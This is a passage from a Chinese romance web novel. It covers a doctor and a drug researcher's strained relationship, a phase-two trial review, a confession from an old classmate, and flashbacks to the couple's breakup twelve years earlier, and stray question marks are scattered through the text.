此时秦铮脸上的笑容早不见了,恰巧乳腺外科所在的楼层到了,他径自往办公室的方向走:“你不去陪工会骨干在我这偷什么懒?” “你别转移话题,那男的到底什么人?” 秦铮懒得理他:“不知道。” “那你看着他们打一把伞在雨中漫步什么感觉?” 什么感觉? 秦铮不由?得放慢脚步:“你当时什么感觉?” 没头没尾的一句话,但蒋禹涵显然已经明白?了他指的“当时”是什么时候。 蒋禹涵毫不避讳地说:“气?疯了。” 秦铮嗤笑:“出息。” “你别笑话我,你不也是吗?” 秦铮回想着自己刚才的感受,气?疯不至于?,但心里闷闷的,让他觉得呼吸都?不能恣意。 蒋禹涵继续道:“但我那时候很快就?冷静下来了,觉得你丫就?是故意的。” 其实秦铮早已经忘了自己当初是怎么想的了,可能就?是无聊,也可能是那时候的蒋禹涵让他想到了曾经的自己,他也曾那么小心翼翼瞻前顾后?地靠近喜欢的女?生,所以才想着帮兄弟一把。 “可能你那时候太怂了让我不太适应吧。” “说谁怂?!不过现在想想,当初确实多亏你推我一把,不然后?来可能就?真?的错过了。但是吧,谈恋爱这东西真?跟打仗一样,你看人家谈都?觉得简单,等轮到你了,你也好不到哪去。” 秦铮哂笑:“还真?是。” 谁能想到,多年前他多管闲事丢出的回旋镖,多年后?正中他的眉心。 蒋禹涵:“怎么样?需不需要兄弟出马帮帮你?” 秦铮呼出一口气?:“不用了,早恋得来的那点经验,在我们成年人的感情世界里可能不适用。” “你说谁早恋呢?” …… 谢一菲和顾逸就?近找了家医院附近的烤鸭店。 因为天气?的缘故,店里客人并不多,坐下没多久,点好的菜就?陆续被端了上来。 顾逸包了一个烤鸭给谢一菲:“对了,我今天早上还遇到秦医生了,你们最近还好吧?” 谢一菲也不知道该怎么回答顾逸这个问题,顾逸从来没有直接问过她和秦铮究竟是什么关系,她自然也就?没有机会坦白?,所以此时此刻,她也只能含含糊糊地说:“试验马上结束了,以后?应该也不用经常打交道了。” 顾逸愣了愣,似乎在消化?着她的话。 不过听顾逸说起秦铮,谢一菲就?想到他们俩人几次打照面,秦铮对顾逸的态度总是怪怪的,顾逸肯定也能感受到,但她一直没有机会和顾逸解释什么。 谢一菲:“他之前态度不太好,但你别往心里去,他对谁都?那样。” 顾逸回过神?来,像是心情很好:“我跟他总共也没见几次,亏你还记得。放心,我没往心里去……” 还不等谢一菲松口气?,顾逸接着说:“因为如?果我是他,我会比他更恶劣。” 谢一菲不明所以地看着他。 顾逸继续道:“十年前是我活该,十年后?,还是我活该。” 他看着谢一菲忽然郑重了起来:“有些话我一直想找个机会跟你说,但一直没机会。我不知道你和秦医生之间究竟发生了什么,但你今天这么说了,那我觉得,有些话我也可以对你说了。一菲,十年前我不是偶然遇到你们,更不是见义勇为,我那天跟着你,其实是想找机会正式认识你一下。” 他没有把话说得很明白?,但是她没什么不懂的,那个年纪的男女?,男生主动去结识一位女?生,无非是因为喜欢。但他为什么会喜欢她呢? 谢一菲彻底懵了,有点不能理解顾逸:“可是,在那之前我不记得我见过你。” 顾逸自嘲笑笑:“你果然从来没有注意过我。那时候我们两个专业一起上高数课,你总喜欢坐第一排。” 谢一菲回忆了一下,还确实是。那时候因为她在上高数课前面还有别的课,两节课在不同?的教学楼,她赶过去时往往都?要上课了,只能坐在前排。 谢一菲还是不解:“就?因为这个?” 顾逸好笑地说:“当然不是因为你总坐第一排。喜欢肯定是一见钟情啊,或者说见色起意。” 谢一菲:“这我就?更无法理解了。” 上了大学后?,谢一菲也跟着舍友们开?始学习打扮自己,她知道自己不丑,但也绝对不是那种能让人一眼?惊艳的美女?。 顾逸笑了:“各花入各眼?,你是气?质型的。” 谢一菲无奈:“这话听着像骂人。” 顾逸:“我说真?的,你那时候总给人一种很高冷、很难以亲近的感觉,可能就?是这种感觉吧,更能激发那个年纪的男生的好奇心,反正我就?是,每次上课都?会观察你在哪,下了课也会不自觉地跟在你后?面走……我突然说这些,不会吓到你吧?” 谢一菲尴尬笑笑:“不会,就?是有点意外。” “我也挺意外的,意外咱俩这缘分?。当然了,如?果说这么多年过去了,我对你一直念念不忘,那肯定是骗人的,毕竟咱俩当年也没什么交集。但一个人喜欢 什么类型的异性很难改变,更何况是那个年纪喜欢过的人。” 她忽然想到秦铮曾经问过她,如?果有人惦记她十年,她会不会很感动。 她当时觉得他过于?敏感瞎吃醋,现在看来是她过于?迟钝了。 谢一菲说:“那个时候大家年纪都?小,经历太少,看什么都?是诱惑。” “话是这么说,但你对我而言始终是不同?的,这大概就?是所谓‘白?月光’的力量吧。” “白?月光?” 好像从她看到分?享在外卖群的那个帖子之后?,她就?总能听到这个词。 “对呀,白?月光对男人的杀伤力不可小觑。所以我发现相亲对象是你的时候其实特别高兴,觉得这缘分?很奇妙。但作为成年人,不会因为年少时的一点意难平就?随意做什么重要决定。”顾逸收敛起玩笑的神?色,“一菲,我们接触了这么久,我发现我还是喜欢你,而且更喜欢了,因为我比当年更了解你了。” 想不到有朝一日自己也会成为别人的白?月光。 只是这份跨越漫长岁月的心动无法打动这一刻的谢一菲。被表白?该是件值得高兴的事,前提是那是她喜欢的人。 …… 第77章 第 77 章 活着,本身就是一种希望…… 昨晚刚下?过雨, 空气里弥漫着泥土的芬芳。谢一菲不到六点就醒了,因?为?今天是二期试验的结果评估会。过去这两年努力的成果如何?,这个项目是否能迎来下?一阶段的研究, 都会在今天有一个答案。 会议时?间是上午九点,会议地点定在离学校和?医院都不远的一家五星级酒店里。 谢一菲很早就出了门,今天她?要当?着业内专家和?所有试验的参与者做一份汇报,也是一份答卷。 二期试验是新?药研发最为?关键的阶段, 也是导师离开后,她?要独自攻克的第一个难题。它连接着实?验室研究和?后期大规模的临床试验。 这个阶段对试验方案的设计、受试者的选择都有更严格的要求。作为?研发人员,她?的每一次决策都关乎着试验的成败和?患者的生死。 从试验开始到结题, 整整两年的时?间,她?收获了很多, 也失去了最重要的人。她?曾沾沾自喜,也迷茫无助, 可是当?她?重新?整理那些?患者的数据, 她?发现那不是一个个没有温度的数字, 是她?们对她?给与的信任,也是对生的期望。 她?想到导师总挂在嘴边的那句话:“你不能要求一个人全力以?赴地去做他?自己?都不相信的事,你要继续从事这一行, 你就要坚信我们能做到,坚信今天所做的一切都会在明天开花结果。” 这一刻,她?对这话似乎有了新?的理解。 出了小区没走多久, 就是城市的主干道。道路一旁的月季好像一夜之间全开了,经历了一场夜雨, 花瓣没落多少,反而更饱满润泽。花香馥郁,整条街都弥漫着新?生的朝气。 谢一菲深呼吸, 这是北京最好的时?节,也是她?的. 谢一菲比旁人到会议室都早。酒店服务人员刚刚布置好会议室,见到提前到来的谢一菲,贴心?地为?她?送上一杯咖啡。 其实?她?昨晚睡得并?不好,每逢第二天有重要的考试或者工作时?,她?都是这样,还好有咖啡。 她?喝了一口咖啡,苦涩醇厚的味道立刻在口腔里蔓延开来。她?长长呼出一口气,感觉整个人又有了精神。 忽然间身后传来一声咳嗽,吓得谢一菲险些?呛到自己?。 她?狼狈地回头,意外地看到了秦铮。他?今天穿着黑色衬衫和?西裤,刚才一动不动地坐在角落里,几乎融在暗影中,以?至于她?刚才进来时?,还以?为?自己?是到得最早的。 此时?秦铮站起身来,优越的身高和?那种凌冽的气质让他?的存在感格外的强烈。 她?也想不明白自己?刚才怎么就没看到他?。 距离他?们上一次见面又差不多一个月过去了,她?以?为?再见面时?,她?已经可以?平静应对了。可是此次此刻,看着他?朝她?走来,她?发现自己?还是不争气地慌了。 正当?她?猜测着他?会对她?说些?什么时?,他?却绕过了她?,直奔她?的身后。 “您怎么这么早就到了?” 谢一菲怔了一下?转过头,看到一位评审组的老?专家被秦铮扶着坐到了有专家名牌的位置上。 谢一菲在心?里暗骂了一句,也不知道是在骂他?,还是在骂自己?。 但她?很快重新?整理好心?情,过去和?老?专家打了个招呼。 看着秦铮客气地和?老?专家寒暄,她?忽然想起他?似乎说过她?这个人很具有欺骗性,可他?又何?尝不是? 在患者面前,他?专业严谨是可以?信赖和?依靠的主治医生,在周意芝这些?前辈面前,他?谦逊有礼是前途不可限量的优秀后辈,可是在她?面前,他?总是强势的、有距离感的,让人捉摸不透的。 不多久,其他?人也陆续到了。 会议在九点钟正式开始,会议内容分为?几部?分,先由明德汇报项目的背景,以?往取得的成绩,以?及本次试验的目标。然后由谢一菲汇报二期试验的方案以?及方案的执行情况。最后是秦铮汇报试验收集的数据并?评估其质量、有效性和?可靠性。 那些?数据谢一菲都熟悉,但是结论是秦铮给的,虽然只有简简单单的几句话,但却是她?这两年工作的缩影,当?他?说到“本次试验取得了阶段性的成果,为?该药物的研发和?临床应用提供了重要的参考依据”时?,他?忽然看向汇报台下?的她?。 她?无法?否认,尽管他?们之间横亘着太多的东西,但是作为?一同并?肩作战的战友,他?曾给予过她?很多力量。 因?为?师母的离开,她?一度很迷茫,很长一段时?间都是浑浑噩噩地被周遭人簇拥着往前走,直到不久以?前,那场春雨过后,她?又去了一趟医院。那天她是去去医务科签署结题文件的,但临走前忽然想起了自己上次落在秦铮那里的伞。 那天是周二,是他?出门诊的日子,她?就想趁他不在去病房那边碰碰运气。 可惜她?还是没找到那把伞,因?为当时秦铮的办公室里有人。 她不知道他为什么不在门诊而是在办公室,但是既然来了,就这么走了又挺怂的。所以?,她?究竟要不要找他?拿伞呢? 就在她?在他?办公室门口徘徊的时?候,差点被一个小男孩撞到。 病区里很少有孩子,如果有,那背后大概率掩藏着一个令人无奈心?酸的故事。 小男孩大概六七岁的样子,怯怯为?差点撞到谢一菲道歉。男孩子很漂亮,巴掌大的小脸上一双黑又亮的眼睛水汪汪的,头发略长,发尾卷曲,有点混血宝宝那味儿。谢一菲忽然意识到她?可能见过他?。 她?脑中浮现出了一个画面——穿着白大褂的秦铮蹲在医院的走廊里和?一个小男孩说话。清晨的阳光从走廊尽头的玻璃窗内投射进来,为?这一大一小的身影堵上了一层光晕。 那应该是前年的夏天。 比起那时?候,小男孩的个子长高了不少,婴儿肥也褪去了一些?,黑瘦了点,更有男孩子的模样了。但是他?实?在太漂亮了,所以?她?还是认出了他?。 “病房里不能乱跑哦,你家大人呢?”和?他?说话时?,谢一菲的声音都忍不住变得很温柔。 “我妈妈在里面。”小男孩指了指秦铮办公室的门小声说。 乳腺癌对于越年轻的患者来说越麻烦,小男孩的母亲三?十出头,显然属于这个类型。谢一菲记得何?婷婷说过一些?她?的情况,据说她?找到秦铮之前已经做过一次手术,可是不久后就复发转移了,之前的医生虽然没有明说,但是显然已经有放弃的想法?了,她?这才找到了秦铮,进行了二次手术。 听说这事时?,谢一菲很为?这位年轻的妈妈和?她?的孩子难过,后来再没见过他?们,她?也没敢多问,转眼快两年了,没 想到还能遇上。 办公室里传出隐隐约约的说话声,有秦铮的,还有一个温柔的女声。 谢一菲鬼使神差地没有离开,小男孩也很乖,跟着她?一起在门口偷听。两人说话声音不大,谢一菲几乎听不到他?们交谈的内容,只偶尔男孩妈妈情绪激动时?,她?能听到她?在感谢秦铮。 谢一菲心?中隐隐冒出一个不可思议的猜想,她?悄悄问小男孩:“妈妈的病是不是好多了?” 小男一副“你怎么知道”的样子孩,兴奋地点点头:“她?现在能上班,还能去接我放学。” 看来他?母亲的病情确实?已经被控制住了。 谢一菲知道以?孩子母亲的情况要在这么短时?间内治愈没那么容易,但能把病情控制住就已经是奇迹了。她?还记得当?初所有人提及小男孩妈妈时?,都是一副惋惜的态度,大概在所有人看来,这位可怜的母亲已经没有多少时?间了,可是谁也没想到,21个月过去了,她?就像绽放在初夏的花,经过一夜的风雨非但没有凋零,反而向阳而生,逆风翻盘了。现在的她?可以?像正常人一样工作,照顾家庭,这何?尝不是一种奇迹?! 谢一菲的心?情很就没有这么激荡过了。 她?朝着小男孩竖起大拇指:“你妈妈真了不起。” 小男孩笑了,缺了门牙的笑容让他?看着滑稽又可爱:“妈妈说是秦医生了不起,妈妈是听了他?的话,才治好病的。” “他?的话?他?说了什么?” 小男孩收敛起笑容,一本正经地复述着:“秦医生说,医学发展得很快,医生和?病人都在和?时?间赛跑,每过一天就多一点被治好的希望。他?还说,活着本身就是一种希望。” 活着,本身就是一种希望。 谢一菲忽然想起师母癌症复发转移后,他?在治疗室外也曾对她?说过这样一番话。那时?候她?就像溺水的人抓到了一块浮木,无可奈何?,却又不得不坚信一切都会好起来。可是不久后,师母还是离开了。这让她?开始怀疑,怀疑自己?,也怀疑他?。 但是当?她?听着小男孩用稚嫩的声音再次转述那番话时?,她?知道他?从来没有骗过她?。他?还在他?认定的那条路上朝前奔跑着,她?有什么理由掉队呢? 医学在和?时?间赛跑,药学又何?尝不是。 师母的离开是他?们暂时?都输给了时?间,但是还有无数像小男孩母亲这样的患者在相信着他?们,在这条路上艰难的前行着,她?们的信念不该被她?这样的彷徨和?踟蹰熄灭。 谢一菲终究是没有找回她?丢的那把伞,但离开时?,积压在她?心?头许久的阴霾终于散了。 第78章 第 78 章 57小时 半个?月后, 有个?关于临床肿瘤治疗的学术会议在南京召开。秦铮是提前一天到?的,到?了酒店报完到?,办理好入住天还没有黑。 有几个?比较熟的同行?知?道他来, 晚上约他喝酒,他说还有事拒绝了。 其实也?没什么事,但可能是故地?重游的缘故,他没什么心情去应付别人, 索性一个?人出去走走。 5月的北京刚刚有点夏天的影子,但是5月的南京已经很热了,好在入了夜后, 气温不至于太高。 他在这座城市生活的时间不算太长,成年后来的次数也?屈指可数, 但是这里的每一条街道,甚至是空气的味道, 对他而言都是那么熟悉。 他漫无目的地?走着, 从傍晚走到?入夜, 像个?初来乍到?的游客一样用脚步丈量这座城市。 南京的夜终究不如北京热闹,除了一些著名的商圈,大部分的街道在九点之?后就人迹寥寥了。 不知?走了多?久, 秦铮停下来点了一支烟,回头望向来路。这是一条只有两条行?车道的小路,路两边高大的梧桐枝叶繁茂亭亭如盖。街灯散发出温暖明亮的光, 照在柏油马路上,那路也?像是一尘不染, 还反着光。 遥遥驶来一辆52路,在离他不远的路边停下。公交车前门打开,仿佛下一秒就能看到?一个?扎着马尾辫穿着白色连衣裙的纤细身影从车上下来。 那一刻, 他似乎感受不到?时间的流动,手指间的烟也?忘了吸。 眼前的画面和多?年前重合了,那一年每逢周五的十点钟,他都会等在家?附近的公交车站,也?是52路。那是他第一次对一个?姑娘产生好奇,忍不住想去了解她,靠近她。而那一年的谢一菲就像透过阴霾云层的一缕阳光,让他灰败的生活有了光亮和色彩。 然而这一次,直到?那辆公交车开走,他也?没有看到?她。 那一刹的失望就像指间的烟灰,慢慢堆积起来,夜风吹过时散在风中。 他回过神来,环顾四周,发现这里离外婆家?已经不远了,难怪会觉得熟悉。 这里和酒店之?间差着五六公里,再?走回去显然不现实。 他将烟蒂揿灭在旁边的垃圾桶里,拿出手机来叫了辆回酒店的车。 这个?时候路上的车不多?,但用车的人也?少。片刻后,一辆白色的GLB停在了秦铮面前,他起初没在意?,直到?手机忽然响了起来,他这才?意?识到?面前这辆车就是他叫的那一辆。 不知?道是不是他想多?了,这车看着有点眼熟。 他一边接通电话,一边朝车内看去,恰好副驾驶的车窗在此时降了下来,司机也?正?探头看向他。 对方像是有话要说,或许想问是不是他叫的车,但两人视线对上的那一刻,对方的表情忽然凝固了。 还是秦铮先?回过神来,他直接拉开后排车门上了车。 与司机视线再?度在后视镜中交汇,秦铮笑了:“这么巧。” 谢东正?要说话,秦铮又说:“拒载会被投诉。” 谢东那没来得及说出口的话又被生生咽了回去。 他深呼吸,脑子里天人交战了半天,最后也?只是没好气地?问:“手机尾号多?少?” 拒载的话平台就不会给他派好单了,他才?刚出来一会儿,不想就这么回去。 他告诉自己?忍忍算了,那酒店不远,也?就十几分钟的事。 秦铮报了四个?数字。 谢东摆出一副公事公办的态度:“按导航走吗?” “不,我?去夫子庙。” 谢东愣了愣,刚压下去的火气又窜了起来:“你订单的目的地?明明不是夫子庙!” “对,我?临时改变主意?了。夫子庙更远,你能多?赚点。” “谢谢,用不着!我?着急回家?,你叫别的车吧。” 被投诉就随他投诉去,今晚这钱他大不了不赚了。 对比起谢东的暴跳如雷,秦铮就显得淡定多?了。 他双手交叠在胸前,靠在椅背上,气定神闲地?说:“我?累了,只想坐你的车去。” 谢东抓狂:“你这人怎么这样?我?都说了我?不接你这一单了!” “有你跟我?吵架的工夫,我?现在已经到?了。”秦铮看向后视镜中那双充满怒气的眼睛,“或者,你其实只是想用这种方式来跟我?叙叙旧?” 谢东和谢一菲虽然是亲姐弟,但大约分别遗传了父母的基因?,两人长得并不是很像,唯独那双眼睛,一模一样。 谢一菲生气的时候,好像也是这么看着他的。 谢东疯了:“我?想跟你叙旧?!没见过你这么不要脸的人!” 谢东越想越气。他就是晚上没什么事想接几个?活儿攒点老婆本?,没想到?今天给他接到?个?活阎王。今天出门没看黄历,否则一定能看到?上面写着“诸事不宜”四个大字。 秦铮错开视线,看向窗外:“开车吧。” 谢东无奈,发动车子。 还好这时候不堵车,夫子庙稍微远一点,但也?远不到?哪去。 路上两人谁也?不说话,谢东却一点不觉得尴尬,他希望一直这样,直到?送走这活阎王。 但秦铮还是开口了:“我?一直不明白,你为什么对我?这个?态度?” 谢东像是听了什么笑话:“你还想我?对你什么态度?上次有我?姐,我?算收着了。” 秦铮点点 头:“哦,这回有平台录音,我?劝你也?收着点。” 谢东张了张嘴…… 又是这种感觉,一口气被堵在嗓子眼,气死了! 上次见过谢东后,秦铮心里就产生了一个?疑问。 这么多?年以来,他一直以为当初是谢一菲腻了,看上了别人,所以才?借题发挥跟他分手。可上次和谢东聊了几句后,他发现在谢东看来,当年他们分手并不是谢一菲希望的,倒像是他做错了什么导致的。后来他也?有意?无意?地?和谢一菲聊起当年的事,但每次都被她轻巧绕开了,她似乎在极力?回避着什么,好像说出来,两人就会因?此再?闹崩一次。 他原本?也?以为,十几年过去了,当年的事就算细节和他的猜测有些许不同,那也?没有再?去追究的意?义。 可老天爷偏偏就给了他一次可以追究的机会。 秦铮索性直白地?说:“我?们当初分手,是你姐要分的,但你对我?的态度好像当年错的人是我?。” “不是你是谁?要不是你那样,我?姐会想分手吗?”谢东冷笑,“我?知?道,这是你们渣男的惯用伎俩,已经达到?目的了,还要把责任推给对方。” 秦铮抓住他话里的重点:“我?哪样了?” “你一声不吭的走了你说你哪样了?” “就因?为这个??” 谢东冷嗤一声,像是懒得多?说。 秦铮说:“当年事发突然,我?也?是临时赶回去的,走得太急没来得及跟她说,都到?盐城了才?发现手机没了,也?不知?道什么时候丢的,所以她后来给我?发的信息我?没看见,再?联系她的时候她就把我?拉黑了……这些事我?后来去她学校找她时都跟她说了。” 谢东:“借口谁不会找?关键你回家?干什么去了,你也?跟她说了吗?” 秦铮沉默了。 谢东早有预料似的说:“这就对了嘛!你该不会以为你回家?做的事能瞒住我?姐吧?你肯定想不到?,她会去找你吧?” 秦铮意?外:“你说她去盐城找过我??” “对啊,不去不知?道,去了才?知?道,她以为的爱情在你看来就是一场消遣。” 秦铮不解:“你这话什么意?思?” 难道就因?为他没告诉她他回家?干什么去了,他们的感情就变成他的消遣了? 这帽子扣得可真大啊。 谢东冷笑着说:“我?们这种普通人是高攀不起你们家?,你看不上就别招惹啊!把别人的真心耍着玩很有成就感是不是?还有你妈,她以为她是谁?好像所有人都图你家?钱一样。我?姐是那种人吗?你让她受了多?大的委屈你知?道吗?你竟然还有脸回去找她,让她理解你?!” 秦铮:“你说她见过我?妈?什么时候的事?” 谢东觉得这人根本?抓不住重点,莫名其妙地?看他一眼:“就你消失那几天,还能是什么时候?” 秦铮怔了怔,片刻后无奈地?笑了:“那几天,她怎么可能见过我?妈……” 见他这个?反应,谢东也?有那么一瞬间不确定了。 他没好气地?说:“你现在说什么都没用,你现在要做的就是别再?招惹她!” 夫子庙已经到?了,谢东赶紧靠边停了车,像送瘟神一样催促他:“到?了,快下车!” 秦铮没再?跟谢东纠缠,他脑子里那团迷雾似乎有了散开的迹象。 直到?目送谢东的车离开,他才?想起来自己?刚才?说要来夫子庙只是想让谢东绕个?路,好多?跟他聊几句,没想到?被人提前赶下车了。 他抬头四顾,夫子庙他也?很久没有来过了,但还好,和记忆中的样子差不多?。 时间已经很晚了,但这里和刚才?上车的地?方完全不同,这里总是人潮涌动的,小摊贩的生意?也?依旧红火,卖雨花石的,卖折扇的,卖汉服的,卖小吃的……多?少年了,还是那一套。 秦铮好像又看到?了那个?对什么都感兴趣的姑娘。可是走着走着,一错眼的工夫,她就不见了…… 他顺着人流往前走,不知?不觉走到?了秦淮河边。此时,一艘载着游客的小船从他面前缓缓行?过,有人在拍照,有人在聊天。看上去,所有人都那么开心,这一切都发生在他的身边,但似乎又离他很遥远。 他想到?了12年前,那是他人生中最兵荒马乱的57个?小时。 从他知?道母亲病危,接受她长久保受癌症折磨的事实,到?他瞒着外婆赶回家?见她最后一面,只过了57个?小时而已。 困惑、怀疑、悔恨、缘分充斥着他那57个?小时,他像是即将溺毙的人,渐渐失去了五感,只知?道心是痛的。等他奄奄一息从水下探出头时,时间已经又过了两天了。他以为,他在那几天里只是失去了那对给他生命的人,他不知?道的是,他也?失去了她。 想着谢东刚才?的话,他大致能猜到?当年在他和谢一菲之?间发生了什么。 发现他失联了,她从他外婆那得知?他不知?道什么原因?临时回了家?。因?为联系不上,她担心他,索性找去了他家?。本?以为能见到?他,可是她非但没有见到?,还听到?了或者看到?了什么让她误会他的事。然后她伤心地?返回了南京,并且拉黑了他所有的联系方式。 那时候的秦铮只当谢一菲在闹脾气,可他刚经历了人生的一场浩劫,没想到?又挨了一闷棍,在那种情况下,也?没心情去哄她。直到?他办完母亲的丧事。那时距离他去大学报道的时间已经过去好几天了,可是他还是先?去了一趟南京。去见她,去把话说清楚。 那是他最无助的时候,他以为他会从她那里得到?宽慰,可是他说什么她都不信,而且没等他把话说完,一个?男生挡在了他们之?间。他一气之?下打了那男生,她却在维护他。看他时总是带着笑的那双眼睛,在那一刻充斥着怒火。他从未见过那样的她,就为了躺在地?上的那个?男生吗?这就是她决绝背后的真相吗?一瞬间,他被各种猜测冲昏了头。他只记得,那时候,他很痛,心很痛。 他的血脉至亲那样对他,她也?好不到?哪去! 那一刻,他觉得全世界都背叛了他。 他离开了南京。 自那以后,他不再?是他。打游戏、喝酒、打架……他对所有的关系所有的人都不那么在意?,再?没有一种感情能走进他的心。 可是在那些堕落的日子中,他也?渐渐看透了一件事——全世界根本?没几个?人在意?他,何来被全世界背叛? 只是,母亲的离去将成为他一生的痛和遗憾,他总要做点什么让自己?不再?日复一日地?陷在那种遗憾中。 于是在他进入大学的第二个?学期,他决定换个?专业,也?换个?人生目标。 接下来的日子,他开始疯狂地?学习,抓住一切机会争取临床见习,把所有的时间都填满,每一天都熬到?没有力?气。他的生活看似回到?了正?轨,但他心里清楚,他已经回不到?过去了。 …… 第79章 第 79 章 他不是个爱笑的人,也从…… 二期试验结束后, 谢一菲时间多了起来,恢复了每周去?初涩的演出?。 这天中场休息的时候,忽然有个服务生送来一杯酒, 说是有位客人请的。 他们乐队里?一般只有主唱才?有这种?待遇,谢一菲正好奇是谁,就看到了坐在吧台的宋良朝她遥遥举了举杯。 谢一菲虽然对?宋良这人印象不怎么样?,但好歹也?算是熟人, 人家请她喝酒就是主动示好,她不能完全不给面子。 她接过那杯酒走向吧台。 “什么时候来的?” 宋良:“刚来一会?儿。” “林姐今天好像不在。” 最近这段时间,宋良偶尔会?过来坐一坐, 但是和以往不一样?,他每次都是一个人来的。好在王林在的时候会?过来陪他喝一杯。 宋良笑:“我知道。” 谢一菲和宋良之间的交集除了王林就只有秦铮了, 可是她不想和他聊秦铮,这样?一来也?就没什么话题了。 两人沉默了一会 ?儿, 谢一菲觉得有点尴尬, 正想着找个借口离开, 宋良又像是很随意地问:“最近忙吗?” 谢一菲:“还行?,试验结束后好了很多。” “在准备三期试验吗?” “算是吧,不过后面也?没我太多事了。”谢一菲, “你?呢,最近看你?总来,好像不是很忙。” 宋良:“这得看跟谁比了。” 宋良明明一个字也?没提秦铮, 但谢一菲就感?觉他说的是秦铮。 他是想说秦铮很忙,所以最近才?没有跟他一起来吗? 此时恰逢一首歌结束, 在下一首的前奏响起前,从舞台边传来了女生的说笑声。 两人不约而同地循声看过去?,是巧巧在和武哥聊天, 武哥不知道说了什么,惹得巧巧边笑边打他。 宋良:“有个事我一直搞不明白,正好咨询你?一下。” “什么?” “你?们女生是怎么做到前一秒还非这个人不可,下一秒就能转投他人怀抱的?” 谢一菲知道他说的是巧巧,有心替巧巧解释两句。 她想了想说:“你?看到的一秒,可能不是一秒。她可能在那之前就纠结很久了。爱上?一个人的时候闭目塞听油盐不进,被困在自己的小世界里?,哪天心死了,这个世界才?像是重?新对?她敞开怀抱,她就又能看又能听了,能看到对?她更好的人,能听到自己高兴地笑,那她自然就不愿意回头了。” “那谢老师,你?也?是吗?” 他们终究还是避不开这个话题。 可惜关于这个问题的答案她也?还没有头绪。要说心死,她十年前的那一次就死过了,按理说她早就该拥抱新世界了,但是这么多年过去?了,她都没有看到一个比他更好的人,这是不是说明她其实还被困在那个小世界里?,一直没有走出?来呢? 她坦白说:“我不知道。” 宋良忽然说起一件事:“几个月前我和他来这喝酒,他喝了很多……就是被你?接回去?那次,你?还记得吗?” 谢一菲点头:“记得。” 那天的事她印象很深刻,因为就在第二天,他们就分?手了。 宋良说:“你?知道他那晚为什么喝那么多吗?” 这个问题,她已经想过了,也?找到了自己的答案。 她敷衍地反问道:“跟我有关吗?” “当然。” 谢一菲自嘲地笑了笑,对?宋良要说的那个答案其实并不感?兴趣。 宋良好像没看出?她的意兴阑珊,难得很认真地说:“很多医生都很害怕面对?去?世患者的家属,他也?不例外,而且这一次换成了你?,他很自责,也?很心疼。所以他不知道该怎么面对?你?。” …… 谢一菲回到家时,已经是深夜。 这一天过得很充实也?很疲惫,本来只是想在沙发上?躺一会?儿,结果不知不觉就睡着了。 迷迷糊糊间,她感?到夜风吹过,吹散了覆在一段久远记忆上?的灰尘。 那是大二刚开学一周的时候。那天下午只有两节药理学,同宿舍的舍友商量着下课去?逛新街口,问她去?不去?,她实在提不起兴趣就婉拒了。最后她们把课本教给了她,让她帮忙带回宿舍。 9月的南京依旧很热,她背着自己的书包,抱着舍友们的课本,穿越教学楼区,去?往宿舍。 太阳很毒辣,她能清楚感?受到T恤被她的汗水浸湿,黏腻腻地贴在她的背心上?。 忽然间,她听到身后有女生躁动了起来,她以为出?了什么事,抬头就看到那个消失很久的人正朝她走来。 他穿着她记忆中的白色T恤和做旧的淡蓝色牛仔裤,头发比上?一次见?他时长了点,显得人瘦了一圈。 看到他的那一刻,她是欣喜的,因为她终于见到了他。可是她很快想到了自己这段时间经历过的痛苦…… 从盐城回来后,她反复回忆他们在一起的点滴,每一个瞬间都让她觉得不舍,又让她觉得难过。 她想不明白一个男生怎么能做到表现得那么喜欢她却?又在暗地里?计划着放弃她,难道所谓的热恋只是她一个人的错觉吗? 她会?在别人看不见?的地方偷偷躲起来哭,最软弱的时候也?想不管不顾地去?见?他,只当做什么都没有发生过。但是天亮之后,她又能清晰的想起他妈妈说的那些?话,还有她在他家门口见?到的那个女孩。 想到这些?,巨大的委屈和愤怒涌上?心头…… 她决定不会?再给任何人伤害她的机会?。 她看着他来到面前,勉强挤出?一个笑容,像是久别重?逢的老友见?面,又带着一点求饶讨好的意味。 他不是个爱笑的人,也?从来不在任何人面前低头,这么不情不愿的笑,真的很别扭。 他说他不是故意消失的,是家里?忽然出?了事,他走得急没来得及跟她说,还说他回去?的路上?丢了手机,再联系她的时候就联系不上?了。 烈日下,她看到少年鬓角处渗出?细密的汗珠,说话时,那张总是沉稳得超乎同龄人的脸上?露出?了罕见?的紧张情绪。 他在紧张什么呢?大概也?是觉得丢手机这样?的谎话很蹩脚吧。 可要不是亲耳听到他妈妈说他回去?是和那女孩子相亲的,她一定会?相信他的“不得已”。 没等他说完,她打断他说:“无所谓,反正你?要去?北京了,这样?正好。” 少年的眼?中闪过一丝困惑,他终于不再紧张了。那些?原本就不适合他的情绪渐渐收敛,他最终面无表情地看着她,问她什么意思。 她听到自己很冷静地说:“意思就是我们已经分?手了,你?究竟为什么回家也?不重?要了,以后不要来找我了。” 说这话的时候她其实是心痛的,但同时又觉得解脱了。 可当他死死盯着她问她为什么时,她似乎感?受到他也?是难过的,好像他才?是那个被抛弃的人。 她不想说那种?酸溜溜的话,像是她在跟别人争抢他。 她说:“没有为什么,就是不想在一起了。” 他笑了,这一回是那种?很冷的笑。 他说:“就因为我没在第一时间回你?信息吗?因为这点事就随随便便提分?手,你?不觉得挺没劲吗?” 他说没劲。可能他早就觉得没劲了吧! 谢一菲努力克制着情绪说:“因为我已经不喜欢你?了,这样?总可以了吧?” “你?说什么?” 他逼近了一步,她的心也?随之瑟缩了一下。 这会?儿正是学生下课回宿舍的高峰期,他们这边的争执早就引起了周遭人的注意。 有人故意在附近停下,好奇的打探,间或还和旁边的同学耳语几句。 谢一菲不知道自己在他们口中变成了什么样?,她只知道,她从来没有被这么多人注视过。 她不想让自己的伤心事变成别人茶余饭后的佐料。 她想离开,却?被他不客气地一把拉住。手里?的书散了一地,她手忙脚乱地低头去?捡。书本上?的字在眼?前逐渐模糊,她想这时候的自己一定狼狈极了。 忽然间有人挡住了头顶上?的灼灼烈日,一个男生出?现在了她和秦铮之间。 一切都发生在短短的一刹那,她正想抬起头看看来人是谁时,就听到了骨肉相击的声音,与此同时,还伴随着旁边女生的尖叫声。 下一秒那男生踉跄着倒退一步,坐在了她还没来得及捡的那本书上?。 她吓坏了,虽然不明白他为什么会?挡在他们之间,但也?怕他和秦铮真打起来,她连忙起身拦住了秦铮。 秦铮冷冷看向她,几乎是咬着牙说:“这才?是真正的分?手原因吧?” 她猜他大约是误会?了,但她并不想解释。 不知道是不是她的错觉,在她的沉默中,他眼?中的那团火渐渐熄灭了。 可他尤不甘心地问:“这么对?我,就为了他是吗?” 